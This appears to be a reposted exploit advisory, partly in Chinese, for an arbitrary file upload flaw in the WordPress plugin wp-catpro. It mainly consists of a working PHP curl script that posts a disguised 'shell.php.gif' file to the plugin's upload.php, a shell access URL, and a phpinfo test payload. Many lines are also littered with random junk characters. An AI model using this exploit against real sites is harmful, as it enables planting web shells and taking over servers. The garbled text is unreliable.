WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
$ [! V: M5 K  ^8 \; R% K5 ?5 V#-----------------------------------------------------------------------
$ \7 f; `  ~6 [$ T
作者  => Zikou-16
0 {; p5 O# w. m邮箱 => zikou16x@gmail.com
$ P1 [( e: O7 w9 d; s( @. \( d测试系统 : Windows 7 , Backtrack 5r3
' p, |# n/ ^+ f下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

3 U. c9 f" D4 l* D( @#=> Exploit 信息:
5 n0 ~' o* q1 N  y! w------------------
0 \: l3 ^% }+ X- C  y# 攻击者可以上传 file/shell.php.gif
6 }9 B3 `) T0 }3 G+ j- X+ W# ("jpg", "gif", "png")  // Allowed file extensions
5 h; q1 a2 B7 x6 f, [0 O# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
3 X2 R1 `; e/ y
+ X( q$ E( j: \+ g( \/ p#=> Exploit
" j( e5 m$ |1 O; _6 X. ]-----------
3 y  t( P3 m1 `% ?& d<?php

! ~# j! b3 H6 D% A5 d$uploadfile="zik.php.gif";
! r* O9 U' q! T- T' R3 E; D$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
4 G0 U9 {( B# n) j; A# warray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
4 E( v# `$ m2 C  {( G$ ~. C* \curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
& L0 x- ^6 ]) T4 j1 p  ^$postResult = curl_exec($ch);
$ n3 n: o( K: k4 @5 rcurl_close($ch);
5 Y8 u$ J) m" M6 V. F
: y' s0 I# l/ r% L% _8 Qprint "$postResult";

8 [+ h3 ]2 |: cShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
+ I) M& U0 ~, w1 o! q<?php
3 V/ H# E- D% X1 Aphpinfo();
) A. r  t% o9 R9 L  [?>